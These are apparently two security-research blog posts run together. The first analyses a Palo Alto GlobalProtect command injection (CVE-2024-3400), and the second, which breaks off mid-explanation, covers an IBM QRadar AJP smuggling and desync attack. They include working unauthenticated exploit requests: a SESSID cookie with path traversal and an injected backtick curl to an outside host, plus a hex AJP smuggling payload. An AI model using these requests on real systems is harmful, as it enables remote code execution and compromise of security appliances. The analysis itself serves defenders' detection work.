Welcome to April 2024, again. We’re back, again.

Over the weekend, we were all greeted by now-familiar news—a nation-state was exploiting a “sophisticated” vulnerability for full compromise in yet another enterprise-grade SSLVPN device.

We’ve seen all the commentary around the certification process of these devices for certain .GOVs - we’re not here to comment on that, but sounds humorous.

We would comment on the current state of SSLVPN devices, but like jokes about our PII being stolen each week, the news of yet another SSLVPN RCE is getting old.

On Friday 12th April, the news of CVE-2024-3400 dropped. A vulnerability that “based on the resources required to develop and exploit a vulnerability of this nature” was likely used by a “highly capable threat actor”.

Exciting.

Here at watchTowr, our job is to tell the organisations we work with whether appliances in their attack surface are vulnerable with precision. Thus, we dived in.

If you haven’t read Volexity’s write-up yet, we’d advise reading it first for background information. A friendly shout-out to the team @ Volexity - incredible work, analysis and a true capability that we as an industry should respect. We’d love to buy the team a drink(s).

CVE-2024-3400

We start with very little, and as in most cases are armed with a minimal CVE description:

A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks 
PAN-OS software for specific PAN-OS versions and distinct feature configurations may
enable an unauthenticated attacker to execute arbitrary code with root privileges on
the firewall.
Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by 
this vulnerability.

What is omitted here is the pre-requisite that telemetry must be enabled to achieve command injection with this vulnerability. From Palo Alto themselves:

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls 
configured with GlobalProtect gateway or GlobalProtect portal (or both) and device
telemetry enabled.

The mention of ‘GlobalProtect’ is pivotal here - this is Palo Alto’s SSLVPN implementation, and finally, my kneejerk reaction to turn off all telemetry on everything I own is validated! A real vuln that depends on device telemetry!

While the above was correct at the time of writing, Palo Alto have now confimed that telemetry is not required to exploit this vulnerability. Thanks to the Palo Alto employee that reached out to update us that this is an even bigger mess than first thought.

Our Approach To Analysis

As always, our journey begins with a hop, skip and jump to Amazon’s AWS Marketplace to get our hands on a shiny new box to play with.

Fun fact: partway through our investigations, Palo Alto took the step of removing the vulnerable version of their software from the AWS Marketplace - so if you’re looking to follow along with our research at home, you may find doing so quite difficult.

Accessing The File System

Anyway, once you get hold of a running VM in an EC2, it is trivial to access the device’s filesytem. No disk encryption is at play here, which means we can simply boot the appliance from a Linux root filesystem and mount partitions to our heart’s content.

The filesystem layout doesn’t pack any punches, either. There’s the usual nginx setup, with one configuration file exposing GlobalProtect URLs and proxying them to a service listening on the loopback interface via the proxypass directive, while another configuration file exposes the management UI:

location ~ global-protect/(prelogin|login|getconfig|getconfig_csc|satelliteregister|getsatellitecert|getsatelliteconfig|getsoftwarepage|logout|logout_page|gpcontent_error|get_app_info|getmsi|portal\\/portal|portal/consent).esp$ {
    include gp_rule.conf;
    proxy_pass   http://$server_addr:20177;
}

There’s a handy list of endpoints there, allowing us to poke around without even cracking open the handler binary.

With the bug class as it is - command injection - it’s always good to poke around and try our luck with some easy injections, but to no avail here. It’s time to crack open the hander for this mysterious service. What provides it?

Well, it turns out that it is handled by the gpsvc binary. This makes sense, it being the Global Protect service. We plopped this binary into the trusty IDA Pro, expecting a long and hard voyage of reversing, only to be greeted with a welcome break:

Debug symbols! Wonderful! This will make reversing a lot easier, and indeed, those symbols are super-useful.

Our first call, somewhat obviously, is to find references to the system call (and derivatives), but there’s no obvious injection point here. We’re looking at something more subtle than a straightforward command injection.

Unmarshal Reflection

Our big break occurred when we noticed some weird behavior when we fed the server a malformed session ID. For example, using the session value Cookie: SESSID=peekaboo; and taking a look at the logs, we can see a somewhat-opaque clue:

{"level":"error","task":"1393405-22","time":"2024-04-16T06:21:51.382937575-07:00","message":"failed to unmarshal session(peekaboo) map , EOF"}

An EOF? That kind-of makes sense, since there’s no session with this key. The session-store mechanism has failed to find information about the session. What happens, though, if we pass in a value containing a slash? Let’s try Cookie: SESSID=foo/bar;:

2024-04-16 06:19:34 {"level":"error","task":"1393401-22","time":"2024-04-16T06:19:34.32095066-07:00","message":"failed to load file /tmp/sslvpn/session_foo/bar,

Huh, what’s going on here? Is this some kind of directory traversal?! Let’s try our luck with our old friend .. , supplying the cookie Cookie: SESSID=/../hax;:

2024-04-16 06:24:48 {"level":"error","task":"1393411-22","time":"2024-04-16T06:24:48.738002019-07:00","message":"failed to unmarshal session(/../hax) map , EOF"}

Ooof, are we traversing the filesystem here? Maybe there’s some kind of file write possible. Time to crack open that disassembly and take a look at what’s going on. Thanks to the debug symbols this is a quick task, as we quickly find the related symbols:

.rodata:0000000000D73558                 dq offset main__ptr_SessDiskStore_Get
.rodata:0000000000D73560                 dq offset main__ptr_SessDiskStore_New
.rodata:0000000000D73568                 dq offset main__ptr_SessDiskStore_Save

Great. Let’s give main__ptr_SessDiskStore_New a gander. We can quickly see how the session ID is concatenated into a file path unsafely:

    path = s->path;
    store_8e[0].str = (uint8 *)"session_";
    store_8e[0].len = 8LL;
    store_8e[1] = session->ID;
    fmt_24 = runtime_concatstring2(0LL, *(string (*)[2])&store_8e[0].str);
    *((_QWORD *)&v71 + 1) = fmt_24.len;
    if ( *(_DWORD *)&runtime_writeBarrier.enabled )
      runtime_gcWriteBarrier();
    else
      *(_QWORD *)&v71 = fmt_24.str;
    stored.array = (string *)&path;
    stored.len = 2LL;
    stored.cap = 2LL;
    filename = path_filepath_Join(stored);

Later on in the function, we can see that the binary will - somewhat unexpectedly - create the directory tree that it attempts to read the file containing session information from.

      if ( os_IsNotExist(fmta._r2) )
      {
        store_8b = (github_com_gorilla_sessions_Store_0)net_http__ptr_Request_Context(r);
        ctxb = store_8b.tab;
        v52 = runtime_convTstring((string)s->path);
        v6 = (_1_interface_ *)runtime_newobject((runtime__type_0 *)&RTYPE__1_interface_);
        v51 = (interface__0 *)v6;
        (*v6)[0].tab = (void *)&RTYPE_string_0;
        if ( *(_DWORD *)&runtime_writeBarrier.enabled )
          runtime_gcWriteBarrier();
        else
          (*v6)[0].data = v52;
        storee.tab = ctxb;
        storee.data = store_8b.data;
        fmtb.str = (uint8 *)"folder is missing, create folder %s";
        fmtb.len = 35LL;
        fmt_16a.array = v51;
        fmt_16a.len = 1LL;
        fmt_16a.cap = 1LL;
        paloaltonetworks_com_libs_common_Warn(storee, fmtb, fmt_16a);
        err_1 = os_MkdirAll((string)s->path, 0644u);

This is interesting, and clearly we’ve found a ‘bug’ in the true sense of the word - but have we found a real, exploitable vulnerability?

All that this function gives us is the ability to create a directory structure, with a zero-length file at the bottom level.

We don’t have the ability to put anything in this file, so we can’t simply drop a webshells or anything.

We can cause some havoc by accessing various files in /dev - adventurous (reckless?) tests supplied /dev/nvme0n1 as the cookie file, causing the device to rapidly OOM, but verifying that we could read files as the superuser, not as a limited user.

Arbitrary File Write

Unmarshalling the local file via the user input that we control in the SESSID cookie takes place as root, and with read and write privileges. An unintended consequence is that should the requested file not exist, the file system creates a zero-byte file in its place with the filename intact.

We can verify this is the case by writing a file to the webroot of the appliance, in a location we can hit from an unauthenticated perspective, with the following HTTP request (and loaded SESSID cookie value).

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: hostname
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;

When we attempt to then retrieve the file we previously attempted to create with a simple HTTP request, the web server responds with a 403 status code instead of a 404 status code, indicating that the file has been created. It should be noted that the file is created using root privileges, and as such, it is not possible to view its contents. But, who cares—it's a zero-byte file anyway.

This is in line with the analysis provided by various threat intelligence vendors, which gave us confidence that we were on the right track. But what now?

Telemetry Python

As we discussed further above - a fairly important detail within the advisory description explains that only devices which have telemetry enabled are vulnerable to command injection. But, our above SESSID shenanigans are not influenced by telemetry being enabled or disabled, and thus decided to dive further (and have another 5+ RedBulls).

Without getting too gritty with the code just yet, we observed from appliance logs that we had access to, that every so often telemetry functionality was running on a cronjob and ingesting log files within the appliance. This telemetry functionality then fed this data to Palo Alto servers, who were probably observing both threat actors and ourselves playing around (”Hi Palo Alto!”).

Within the logs that we were reviewing, a certain element stood out - the logging of a full shell command, detailing the use of curl to send logs to Palo Alto from a temporary directory:

24-04-16 02:28:05,060 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><SERIAL_NO>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260285&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz --capath /tmp/capath'

We were able to trace this behaviour to the Python file /p2/usr/local/bin/dt_curl on line #518:

if source_ip_str is not None and source_ip_str != "": 
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s --interface %s" \\
                     %(signedUrl, fname, capath, source_ip_str)
    else:
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s" \\
                     %(signedUrl, fname, capath)
    if dbg:
        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

The string curl_cmd is fed through a custom library pansys which eventually calls pansys.dosys() in /p2/lib64/python3.6/site-packages/pansys/pansys.py line #134:

    def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
        """call shell-command and either return its output or kill it
           if it doesn't normally exit within timeout seconds"""
    
        # Define dosys specific constants here
        PANSYS_POST_SIGKILL_RETRY_COUNT = 5

        # how long to pause between poll-readline-readline cycles
        PANSYS_DOSYS_PAUSE = 0.1

        # Use first_wait if time to complete is lengthy and can be estimated 
        if first_wait == None:
            first_wait = PANSYS_DOSYS_PAUSE

        # restrict the maximum possible dosys timeout
        PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
        # Can support upto 2GB per stream
        out = StringIO()
        err = StringIO()

        try:
            if shell:
                cmd = command
            else:
                cmd = command.split()
        except AttributeError: cmd = command

        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
                 stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)
        timer = pansys_timer(timeout, PANSYS_DOSYS_MAX_TIMEOUT)

As those who are gifted with sight can likely see, this command is eventually pushed through subprocess.Popen() . This is a known function for executing commands (..), and naturally becomes dangerous when handling user input - therefore, by default Palo Alto set shell=False within the function definition to inhibit nefarious behaviour/command injection.

Luckily for us, that became completely irrelevant when the function call within dt_curl overwrote this default and set shell=True when calling the function.

Naturally, this began to look like a great place to leverage command injection, and thus, we were left with the challenge of determining whether our ability to create zero-byte files was relevant.

Without trying to trace code too much, we decided to upload a file to a temporary directory utilised by the telemetry functionality (/opt/panlogs/tmp/device_telemetry/minute/) to see if this would be utilised, and reflected within the resulting curl shell command.

Using a simple filename of “hellothere” within the SESSID value of our unauthenticated HTTP request:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere

As luck would have it, within the device logs, our flag is reflected within the curl shell command:

24-04-16 01:33:03,746 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/08/33//opt/panlogs/tmp/device_telemetry/minute/hellothere?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713256984&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/**hellothere** --capath /tmp/capath'

At this point, we’re onto something - we have an arbitrary value in the shape of a filename being injected into a shell command. Are we on a path to receive angry tweets again?

We played around within various payloads till we got it right, the trick being that spaces were being truncated at some point in the filename's journey - presumably as spaces aren't usually allowed in cookie values.

To overcome this, we drew on our old-school UNIX knowledge and used the oft-abused shell variable IFS as a substitute for actual spaces. This allowed us to demonstrate control and gain command execution by executing a Curl command that called out to listening infrastructure of our own!

Here is an example SESSID payload:

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;

And the associated log, demonstrating our injected curl command:

24-04-16 02:28:07,091 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/hellothere226%60curl%24%7BIFS%7Dx1.outboundhost.com%60?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260287&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/hellothere226**`curl${IFS}x1.outboundhost.com**` --capath /tmp/capath'

Proof of Concept

At watchTowr, we no longer publish Proof of Concepts. Why prove something is vulnerable when we can just believe it's so?

Instead, we've decided to do something better - that's right! We're proud to release another detection artefact generator tool, this time in the form of an HTTP request:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: watchtowr.com
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}where-are-the-sigma-rules.com`;
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr

As we can see, we inject our command injection payload into the SESSID cookie value - which, when a Palo Alto GlobalProtect appliance has telemetry enabled - is then concatenated into a string and ultimately executed as a shell command.

Something-something-sophistication-levels-only-achievable-by-a-nation-state-something-something.

Conclusion

It’s April. It’s the second time we’ve posted. It’s also the fourth time we’ve written a blog post about an SSLVPN vulnerability in 2024 alone. That's an average of once a month.

As we said above, we have no doubt that there will be mixed opinions about the release of this analysis - but, patches and mitigations are available from Palo Alto themselves, and we should not be forced to live in a world where only the “bad guys” can figure out if a host is vulnerable, and organisations cannot determine their exposure.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Welcome to April 2024.

A depressing year so far - we've seen critical vulnerabilities across a wide range of enterprise software stacks.

In addition, we've seen surreptitious and patient threat actors light our industry on fire with slowly introduced backdoors in the XZ library.

Today, in this iteration of 'watchTowr Labs takes aim at yet another piece of software' we wonder why the industry panics about backdoors in libraries that have taken 2 years to be unsuccessfully introduced - while security vendors like IBM can't even update libraries used in their flagship security products that subsequently allow for trivial exploitation.

Over the last few weeks, we've watched the furor and speculation run rife on Twitter and LinkedIn;

• Who wrote the XZ backdoor?
• Which APT group was it?
• Which country do we blame?
• Could it happen again?

We sat back and watched the industry discuss how they would solve future iterations of the XZ backdoor - presumably in some sort of parallel universe - because in the one we currently exist in, IBM - a key security vendor - could not even update a dependency in it's flagship security software to keep it secure.

Seriously, what are we doing?

Anyway, we're back at it - sit back, enjoy the mayhem - and join us on this journey into IBM's QRadar.

What is QRadar?

For the uninitiaited on big blue, or those that have just been spared numerous traumatic experiences having to ever configure a SIEM - as mentioned above, QRadar is IBM's crown-jewel, flagship security product.

For those unfamiliar with defensive security products, QRadar is the mastermind application that can sit on-premise or in the cloud via IBM's SaaS offering. Quite simply, it's IBM's Security Information and Event Management (SIEM) product - and is the heart of many enterprise's security software stack.

A (SIEM) solution is a centralised system for monitoring logs ingested from all sorts of endpoints (for example: employee laptops, servers, IoT devices, or cloud environments). These logs are analysed using a defined ruleset to detect potential security incidents.

Has a web shell been deployed to an application server? Has a Powershell process been spawned on the marketing teams' laptops? Is your Domain Controller communicating with Pastebin? SIEMs ingest and analyse alerts, data, and telemetry - and provide feedback alerts to a Blue Team operator to inform them of potential security events.

Should a threat actor manage to compromise a SIEM in an enterprise environment, they'd be able to "look down all the CCTV cameras in the warehouse," so to speak.

With the ability to manipulate records of potential security incidents or to view logs (which all too often contain cleartext credentials) and session data, it is clear how this access permits an attacker to cripple security team capabilities within an organisation.

Obtaining a license for QRadar costs thousands of dollars, but fortunately for us, QRadar is available for download as an installation on-premise in the form of AWS AMI's (BYOL) and a free Community Edition Virtual machine.

Typically, QRadar is deployed within an organisations internal environment - as you'd expect for the management console for a security product - but, a brief internet search reveals that thousands of IBM's customers had "better ideas".

When first reviewing any application for security deficiencies, the first step is to enumerate the routes available. The question posed; where can we, as pre-authenticated users, touch the appliance and interact with its underlying code?

We’re not exaggerating when we state that a deployment of IBM’s QRadar is a behemoth of a solution to analyse- to give some statistics of the available routes amongst the thousands of files, we found a number of paths to explore:

• 5 .war Files
  • Containing 70+ Servlets
• 468 JSP files
• 255 PHP Files
• 6+ Reverse ProxyPass’s
• seemingly-infinite defined APIs (as we'd expect for a SIEM)

Each route takes time to meticulously review to e its purpose (and functionality, intentional or otherwise).

Our first encounter with QRadar was back in October of 2023; we spent a number of weeks diving into each route available, extracting the required parameters, and following each of their functions to look for potential security vulnerabilities.

To give some initial context on QRadar, the core application is accessed via HTTPS over port 443, which redirects to the endpoint /console . When reviewing the Apache config that handles this, we can see this is filtered through a ProxyPass rule over the ajp:// protocol to an internal service running on port 8009:

ProxyPass /console/ ajp://localhost:8009/console/

For those new to AJP (Apache JServ Protocol), it is a binary-like protocol for interacting with Java applications instead of a human-readable protocol like HTTP. It is harder for humans to read, but it has similarities, such as parameters and headers.

In the context of QRadar, users typically don’t have direct access to the AJP protocol. Instead, they access it indirectly, sending an HTTP request to /console URI. Anything after this /console endpoint is translated from an HTTP request to an AJP binary packet, which is then actioned by the Java code of the application.

FWIW, it’s considered bad security practice to allow direct access to the AJP protocol, and with good reason - you only have to look at the infamous GhostCat vulnerability that allowed Local File Read and, in some occasions, Remote Code Execution, for an example of what can go wrong when it is exposed to malicious traffic.

Below is an example viewed within WireShark that shows a single HTTP request to a /console endpoint. We can see that this results in a single AJP packet being issued. It’s important to note, for later on, the ‘one request to one packet’ ratio - every HTTP request results in exactly one set of AJP packets.

While the majority of servlets and .jsp endpoints reside within the console.war file, these can’t be accessed from a pre-authenticated perspective. As readers will imagine - this is no bueno.

Sadly, in our first encounter - we came up short. The reality of research is that this happens, but as any one that is jaded enough by computers and research will know - we kept meticulous notes, including a Software Bill of Materials (SBOM), in case we needed to come back.

It's a new dawn, it's a new day, it's a new life

Before getting into our current efforts here in 2024, let's discuss something that was brought to light back in 2022 - a then-new class of vulnerability defined as “AJP Smuggling”.

A researcher known as “RicterZ” released their insight and a PoC into an AJP smuggling vulnerability (CVE-2022-26377), which, in short, demonstrates that it is possible to smuggle an AJP packet via an HTTP request containing the header Transfer-Encoding: Chunked, Chunked, and with the request body containing the binary format of the AJP packet. This smuggled AJP request is passed directly to the AJP protocol port should a corresponding Apache ProxyPass rule have been configured.

This was deemed a vulnerability in mod_proxy_ajp, and the assigned CVE is accompanied by the following description:

Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') vulnerability in mod_proxy_ajp of Apache HTTP Server allows an attacker to smuggle requests to the AJP server it forwards requests to. This issue affects Apache HTTP Server Apache HTTP Server 2.4 version 2.4.53 and prior versions.

The impact of this vulnerability was mostly theoretical until a real-world example came to our attention at the start of 2024. This example came in the form of CVE-2023-46747, a compromise of BigIP’s F5 product, achieved using the same AJP smuggling technique.

Here, researchers leveraged the original vulnerability, as documented by RicterZ. This allowed a request to be smuggled to the AJP protocol’s backend, exposing a new attack surface of previously-restricted functionality. This previously-restricted but now-available functionality allowed an unauthenticated attacker to add new a new administrative account to an F5 BigIP device.

Having familiarised ourselves with both the aforementioned F5 BigIP vulnerability and RicterZ’s work, we set out to reboot our QRadar instance to see if our new knowledge was relevant to its implementation of AJP in the console application.

A quick version check of the deployed httpd binary tells us we’re up against Apache 2.4.6, which is a bit newer than the supposedly vulnerable version fo Apache that contained a vulnerable version of mod_proxy_ajp.

As anyone that has ever exploited anything actually knows - version numbers are are at best false-advertising, and thus - frankly - we ignored this. Also, fortunately for us, in the context of the IBM QRadar deployment of Apache, the module proxy_ajp_module is loaded.

[ec2-user@ip-172-31-24-208 tmp]$ httpd -v
Server version: Apache/2.4.6 (Red Hat Enterprise Linux)
Server built:   Apr 21 2020 10:19:09

[ec2-user@ip-172-31-24-208 modules]$ sudo httpd -M | grep proxy_ajp_module
proxy_ajp_module (shared)

To conduct a quick litmus test to whether or not QRadar is vulnerable to CVE-2022-26377, we followed along with RicterZ’s research and tried the PoC, which comes in the form of a curl invocation, intended to retrieve the web.xml file of the ROOT war file to prove exploitability.

The curl PoC can be broken down into two parts:

• Transfer-Encoding header with the “chunked, chunked” value,
• A raw AJP packet in binary format within the request’s body, stored here in the file pay.txt.

curl -k -i https://<qradar-host>/console/ -H 'Transfer-Encoding: chunked, chunked' \\
		--data-binary @pay.txt

00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000  ..HTTP/1.1.../..
00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161  .127.0.0.1.....a
00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73  ..P.....!javax.s
00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72  ervlet.include.r
00000040: 6571 7565 7374 5f75 7269 0000 012f 000a  equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e  ."javax.servlet.
00000060: 696e 636c 7564 652e 7365 7276 6c65 745f  include.servlet_
00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f  path..S/////////
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61  //////////....ja
000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c  vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010  ude.path_info...
000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c  /WEB-INF/web.xml
00000200: 00ff

After firing the PoC, we were unable to retrieve the web.xml file as expected. However, we’re quick to notice after firing it a few times in quick succession that there’s a variation between responses, with some returning a 302 status code and some a 403 .

A typical response looks something like this:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 01:48:11 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=C7714302E58A4565A3FAA7B786325D93; Path=/; Secure; HttpOnly
Pragma: no-cache
Cache-Control: no-store, max-age=0
Location: /console/core/jsp/Main.jsp;jsessionid=C7714302E58A4565A3FAA7B786325D93
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Expires: Sun, 10 Mar 2024 01:48:11 GMT

And a differential response:

HTTP/1.1 403 403
Date: Sun, 10 Mar 2024 02:12:13 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Content-Length: 0
Cache-Control: max-age=1209600
Expires: Sun, 24 Mar 2024 02:12:13 GMT
X-Frame-Options: SAMEORIGIN

Using tcpdump, we can observe that our single HTTP request has indeed resulted in two AJP request packets being sent to the AJP backend. The two requests are as followed

• The legitimate AJP request triggered by our initial HTTP request, and,
• The smuggled request

Put simply - this makes a lot of sense - we’re definitely smuggling a request here.

At this point, we were much more interested in the varying in response status codes - what is going on here?

Let’s take stock of what we’re observing:

• One HTTP request results in two AJP Packets being sent to the backend
• Somehow, HTTP Responses are being returned out of sync

Our first point is enough to arrive at the conclusion that we’ve found an instance of CVE-2022-26377. The (at the time of performing our research) up-to-date version of QRadar (7.5.0 UP7) is definitely vulnerable, since a single HTTP request can smuggle an additional AJP packet.

Our journey doesn’t end here, though. It never does.

Bugs are fun, but to assess real-world impact, we need to dive into how this can be exploited by a threat actor and determine the real risk.

Godzilla Vs Golliath(?)

So, the big question - we've confirmed CVE-2022-26377 it seems and excitingly we can now split one HTTP request into 2 AJP requests. But, zzz - how is CVE-2022-26377 actually exploitable in the context of QRadar?

In the previous real-world example of CVE-2022-26377 being exploited against F5, AJP packets were being parsed by additional Java functionality, which allowed authentication to be bypassed via the smuggled AJP packet with additional values injected into it.

We spent some time diving through the console application exposed by IBM QRadar, looking for scenarios similar to the F5. However, we come up short on functionality to escalate our level of authentication via just a single injected AJP packet.

Slightly exasperated by this, our next course of action can be expressed via the following quote, taken from the developers of the original F5 BigIP vulnerability researchers:

We then leveraged our advanced pentesting skills and re-ran the curl command several times, because sometimes vulnerability research is doing the same thing multiple times and somehow getting different results

As much as we like to believe that computers are magic - we have been informed via TikTok that this is not the case, and something more mundane is happening here. We noticed the application began to ‘break’, and responses were, in fact, unsynchronized. While this sounds strange - this is a relatively common artefact around request smuggling-class vulnerabilities.

When we say ‘desynchronized’, we mean that the normal “cause-and-effect” flow of a web application, or the HTTP protocol, no longer applies.

Usually, there is a very simple flow to web requests - the user makes a request, and the server issues a corresponding response. Even if two users make requests simultaneously, the server keeps the requests separate, keeping them neatly queued up and ensuring the correct user only ever sees responses for the requests they have issued. Soemthing about the magic of TCP.

However, in the case of QRadar, since a single HTTP request results in two AJP requests, we are generating an imbalance in the number of responses created. This confuses things, and as the response queue is out of sync with the request queue, the server may erraneously respond with a response intended for an entirely different user.

This is known as a DeSync Attack, for which there is some amount of public research in the context of HTTP, but relatively little concerning AJP.

But, how can we abuse this in the context of IBM's QRadar?

Anyway, tangent time

Well, where would life be without some random vulnerabilities that we find along the way?

When making a request to the console application with a doctored HTTP request 'Host' header, we can observe that QRadar trusts this value and uses it to construct values used within the Location HTTP response header - commonly known as a Host Header Injection vulnerability. Fairly common, but for the sake of completeness - here’s a request and response to show the issue:

Request:

GET /console/watchtowr HTTP/1.1
Host: watchtowr.com

Response:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 02:16:55 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=74779EA7C7827A53BD474F884657CDA6; Path=/; Secure; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: <https://watchtowr.com:443/console/logon.jsp?loadback=76edfcc6-4a57-496e-a03c-ea2e8a50ffb6>
Content-Length: 0
X-Frame-Options: SAMEORIGIN

It’s a very minor vulnerability, if you could even call it that - in practice, what good is a redirect that requires modification of the Host HTTP request header in a request sent by the victim? In almost all cases imaginable, this is completely useless.

Is this one of the vanishingly uncommon instances where it is useful?

Well, well, well…

Typically, with vulnerabilities that involve poisoning of responses, we have to look for gadgets to chain them with to escalate the magnitude of an attack - tl;dr what can we do to demonstrate impact.

Can we take something harmless, and make it harmful? Perhaps we can take the ‘useless’ Host Header Injection ‘vulnerability’ discussed above, and turn it into something fruitful.

It turns out, by formatting this Host Header Injection request into an AJP forwarding packet and sending it to the QRadar instance using our AJP smuggling technique, we can turn it into a site-wide exploit - hitting any user that is lucky(!) enough to be using QRadar.

Groan..

Below is a correctly formatted AJP Forward Request packet (note the use of B’s to correctly pad the packet out to the correct size). This AJP packet emulates a HTTP request leveraging the Host Header Injection discussed above.

We will smuggle this packet in, and observe the result. Once the queues are desynchronised, the response will be served to other users of the application, and since we control the Location response header, we can cause the unsuspecting user to be redirected to a host of our choosing.

